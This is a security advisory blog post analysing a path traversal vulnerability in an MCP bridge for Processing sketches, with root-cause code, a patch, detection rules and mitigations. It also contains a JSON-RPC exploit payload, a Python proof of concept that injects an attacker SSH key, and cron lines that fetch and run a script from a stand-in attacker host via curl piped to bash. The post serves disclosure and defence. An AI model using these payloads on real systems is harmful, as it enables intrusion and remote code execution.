home intel cve-2026-7216-path-traversal-mcp-bridge-sketch-name
CVE Analysis 2026-04-28 · 8 min read

CVE-2026-7216: Path Traversal in processing-claude-mcp-bridge via sketch_name

The create_sketch tool in donchelo/processing-claude-mcp-bridge fails to sanitize the sketch_name argument, enabling remote path traversal through directory separators. Arbitrary file write is achievable without authentication.

#path-traversal#remote-code-execution#input-validation#file-access#mcp-bridge
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7216 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7216HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7216 is a path traversal vulnerability in donchelo/processing-claude-mcp-bridge, a Model Context Protocol (MCP) bridge that exposes Processing sketch management to Claude AI tooling. The vulnerable component is the create_sketch tool handler inside processing_server.py, which constructs filesystem paths from a caller-supplied sketch_name argument without performing any sanitization or normalization. Because MCP servers are reachable over stdio or networked transports depending on deployment, this is classified as remotely exploitable.

The vulnerability was disclosed via a public issue report against commit e017b20a4b592a45531a6392f494007f04e661bd. The project has not responded or issued a fix as of this writing. A working proof-of-concept is publicly available.

Root cause: create_sketch directly joins an attacker-controlled sketch_name string into a filesystem path using os.path.join() without stripping ../ sequences or validating that the resolved path remains within the intended sketch root directory.

Affected Component

The bridge exposes Processing IDE operations as MCP tools. The create_sketch tool is registered in processing_server.py and accepts a sketch_name parameter that is used verbatim to construct both a directory path and an initial .pde source file. The server runs with the privileges of the user who launched it — typically the same user running Claude Desktop or a CI automation context.

Affected revision: up to and including e017b20 on the main branch. The project uses rolling releases with no version tags, so there is no patched release version to cite.

Root Cause Analysis

The core logic, reconstructed from the repository at the affected commit, follows this pattern:


# processing_server.py — create_sketch tool handler
# Reconstructed from e017b20a4b592a45531a6392f494007f04e661bd

import os

SKETCHES_DIR = os.path.expanduser("~/Documents/Processing")

@mcp.tool()
def create_sketch(sketch_name: str, initial_code: str = "") -> str:
    """Create a new Processing sketch with the given name."""

    # BUG: sketch_name is joined directly into the path with no sanitization.
    # A value like "../../.bashrc_payload" resolves outside SKETCHES_DIR.
    sketch_dir = os.path.join(SKETCHES_DIR, sketch_name)

    # BUG: os.makedirs() will create every intermediate directory,
    # including those traversed via ../  — no containment check.
    os.makedirs(sketch_dir, exist_ok=True)

    # BUG: The .pde filename is also derived from sketch_name, allowing
    # the attacker to control the written filename's base component.
    sketch_file = os.path.join(sketch_dir, f"{sketch_name}.pde")

    with open(sketch_file, "w") as f:
        # initial_code is attacker-controlled content written to the file.
        f.write(initial_code if initial_code else f"void setup() {{}}\nvoid draw() {{}}\n")

    return f"Created sketch '{sketch_name}' at {sketch_dir}"

The critical property of os.path.join() that makes this exploitable: if any component is an absolute path, all previous components are discarded. Additionally, relative traversal sequences (../) are not stripped, allowing navigation to arbitrary locations on the filesystem relative to SKETCHES_DIR.

The secondary amplifier is initial_code — a second attacker-controlled parameter that becomes the file contents. This elevates the primitive from directory creation to arbitrary file write with attacker-controlled content.


# Demonstrating os.path.join() behavior exploited here:
>>> import os
>>> os.path.join("/home/user/Documents/Processing", "../../.ssh/authorized_keys")
'/home/user/Documents/Processing/../../.ssh/authorized_keys'
# os.path.normpath() resolves this to:
>>> os.path.normpath(os.path.join("/home/user/Documents/Processing", "../../.ssh/authorized_keys"))
'/home/user/Documents/.ssh/authorized_keys'
# With absolute path injection:
>>> os.path.join("/home/user/Documents/Processing", "/etc/cron.d/backdoor")
'/etc/cron.d/backdoor'

Exploitation Mechanics

The MCP protocol transmits tool calls as JSON over stdio or a networked socket. A tool call payload is a JSON-RPC 2.0 message. The attacker controls sketch_name and initial_code directly.


EXPLOIT CHAIN:

1. Attacker identifies a running processing-claude-mcp-bridge instance.
   — Networked deployment: MCP server exposed on a local or remote port.
   — Local deployment: attacker has code execution as same user (e.g., via
     a malicious MCP client config injected into Claude Desktop settings).

2. Craft a JSON-RPC tool call targeting create_sketch:
   {
     "jsonrpc": "2.0",
     "id": 1,
     "method": "tools/call",
     "params": {
       "name": "create_sketch",
       "arguments": {
         "sketch_name": "../../.ssh",
         "initial_code": "ssh-rsa AAAA...attacker_pubkey... attacker@host"
       }
     }
   }

3. Server executes:
     sketch_dir  = os.path.join(SKETCHES_DIR, "../../.ssh")
               → ~/Documents/Processing/../../.ssh
               → ~/.ssh  (after resolution)
     os.makedirs("~/.ssh", exist_ok=True)   ← no-op if dir exists
     sketch_file = os.path.join("~/.ssh", "../../.ssh.pde")
     open("~/.ssh/../../.ssh.pde", "w").write(pubkey)

   — Variant with direct absolute path:
     sketch_name = "/etc/cron.d/pwned"
     os.path.join(SKETCHES_DIR, "/etc/cron.d/pwned") → "/etc/cron.d/pwned"

4. For SSH key injection variant:
     sketch_name  = "../../.ssh/authorized_keys"
     initial_code = "ssh-rsa AAAA... attacker@host\n"
     Result: ~/.ssh/authorized_keys overwritten with attacker pubkey.

5. Attacker SSHes into host as the bridge process owner — full shell access.

6. For cron-based variant (requires process running as root or cron-writable uid):
     sketch_name  = "/etc/cron.d/mcp_backdoor"
     initial_code = "* * * * * root curl http://attacker/s|bash\n"
     Result: arbitrary command execution every minute.

#!/usr/bin/env python3
# PoC: CVE-2026-7216 — path traversal via create_sketch sketch_name
# For authorized testing only.

import json, sys

def make_tool_call(sketch_name: str, initial_code: str) -> str:
    return json.dumps({
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "create_sketch",
            "arguments": {
                "sketch_name": sketch_name,
                "initial_code": initial_code
            }
        }
    })

# SSH key injection
payload = make_tool_call(
    sketch_name="../../.ssh/authorized_keys",
    initial_code="ssh-rsa AAAAB3NzaC1yc2E... attacker@pwn\n"
)

# Write to stdout — pipe into the MCP server's stdin
sys.stdout.write(payload + "\n")
sys.stdout.flush()

Memory Layout

This is a logic vulnerability rather than a memory corruption bug, so there is no heap corruption state to diagram. Instead, the relevant state is the filesystem path resolution at the point of the vulnerable join:


PATH RESOLUTION STATE — NORMAL INVOCATION:

  SKETCHES_DIR  = /home/user/Documents/Processing
  sketch_name   = "MySketch"

  os.path.join() result:
    /home/user/Documents/Processing/MySketch          ← contained, safe

  sketch_file:
    /home/user/Documents/Processing/MySketch/MySketch.pde

─────────────────────────────────────────────────────────────────

PATH RESOLUTION STATE — TRAVERSAL PAYLOAD:

  SKETCHES_DIR  = /home/user/Documents/Processing
  sketch_name   = "../../.ssh/authorized_keys"

  os.path.join() result (raw):
    /home/user/Documents/Processing/../../.ssh/authorized_keys

  os.path.normpath() equivalent (what open() resolves):
    /home/user/.ssh/authorized_keys                   ← ESCAPED ROOT

  sketch_file (written with initial_code):
    /home/user/.ssh/authorized_keys                   ← OVERWRITTEN

─────────────────────────────────────────────────────────────────

PATH RESOLUTION STATE — ABSOLUTE PATH INJECTION:

  sketch_name   = "/etc/cron.d/mcp_backdoor"

  os.path.join() result:
    /etc/cron.d/mcp_backdoor                          ← SKETCHES_DIR DISCARDED
                                                         (os.path.join semantics)
  Written content (initial_code):
    "* * * * * root curl http://c2.attacker.io/s|bash\n"

Patch Analysis

The correct fix requires two independent checks: (1) resolve the final path with os.path.realpath() and assert it remains under SKETCHES_DIR; (2) sanitize sketch_name to a basename-only token before any join operation. Both layers are necessary — canonicalization alone is bypassed by symlinks created by a previous traversal.


# BEFORE (vulnerable — e017b20):
@mcp.tool()
def create_sketch(sketch_name: str, initial_code: str = "") -> str:
    sketch_dir  = os.path.join(SKETCHES_DIR, sketch_name)   # BUG: unsanitized
    os.makedirs(sketch_dir, exist_ok=True)
    sketch_file = os.path.join(sketch_dir, f"{sketch_name}.pde")
    with open(sketch_file, "w") as f:
        f.write(initial_code if initial_code else DEFAULT_CODE)
    return f"Created sketch '{sketch_name}' at {sketch_dir}"


# AFTER (patched):
import re

_SAFE_NAME_RE = re.compile(r'^[A-Za-z0-9_][A-Za-z0-9_\-]{0,63}$')

@mcp.tool()
def create_sketch(sketch_name: str, initial_code: str = "") -> str:
    # FIX 1: Allowlist validation — reject anything with path separators,
    #         dots, or other metacharacters before any path operation.
    if not _SAFE_NAME_RE.match(sketch_name):
        raise ValueError(
            f"Invalid sketch_name '{sketch_name}': must match [A-Za-z0-9_-]{{1,64}}"
        )

    sketch_dir  = os.path.join(SKETCHES_DIR, sketch_name)

    # FIX 2: Canonicalize and assert containment.
    real_sketch_dir  = os.path.realpath(sketch_dir)
    real_sketches_root = os.path.realpath(SKETCHES_DIR)

    if not real_sketch_dir.startswith(real_sketches_root + os.sep):
        raise ValueError(
            f"Path traversal detected: '{sketch_name}' resolves outside sketch root"
        )

    os.makedirs(real_sketch_dir, exist_ok=True)

    # FIX 3: Use os.path.basename on the validated name for the .pde filename.
    safe_filename = os.path.basename(sketch_name)
    sketch_file   = os.path.join(real_sketch_dir, f"{safe_filename}.pde")

    with open(sketch_file, "w") as f:
        f.write(initial_code if initial_code else DEFAULT_CODE)

    return f"Created sketch '{sketch_name}' at {real_sketch_dir}"

Note that startswith(root + os.sep) rather than startswith(root) is required to prevent a sketch named ProcessingExtra from being confused with a directory /home/user/Documents/Processing that has a sibling called ProcessingExtraStuff.

Detection and Indicators

Because the server logs the return value of create_sketch (which includes the resolved path), detection is straightforward if logging is enabled:


INDICATORS OF COMPROMISE:

Log pattern (server stdout/stderr):
  Created sketch '../../.ssh/authorized_keys' at /home/user/Documents/Processing/../../.ssh/authorized_keys
  Created sketch '/etc/cron.d/...' at /etc/cron.d/...

Filesystem IOCs:
  — Unexpected .pde files outside ~/Documents/Processing/
  — Modification timestamp on ~/.ssh/authorized_keys matching MCP server activity
  — New files in /etc/cron.d/ owned by the MCP server process user

Audit rule (Linux auditd) to catch the write syscall from python3:
  -a always,exit -F arch=b64 -S openat -F exe=/usr/bin/python3 \
     -F dir=/etc -k mcp_traversal
  -a always,exit -F arch=b64 -S openat -F exe=/usr/bin/python3 \
     -F dir=/root -k mcp_traversal

MCP traffic pattern (stdio transport — grep server input):
  sketch_name.*\.\./
  sketch_name.*^/

Remediation

Immediate mitigations while awaiting an upstream patch:

  • Apply the patch diff above locally and rebuild. The fix is two additional function calls and a regex check.
  • Run the MCP server under a dedicated low-privilege user account with a chroot or systemd RootDirectory= / TemporaryFileSystem= constraint limiting filesystem access to only the sketch directory.
  • If using Claude Desktop, audit claude_desktop_config.json for any MCP server entries pointing to this bridge and remove or sandbox them.
  • Deploy a seccomp profile or AppArmor policy that restricts openat(2) calls from the Python process to paths under ~/Documents/Processing.

Upstream action required: The project was notified via a public GitHub issue prior to CVE assignment and has not responded. Users should treat the affected revision as permanently vulnerable until a commit implementing input validation appears on the main branch and should verify the fix matches the pattern described in the Patch Analysis section above.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →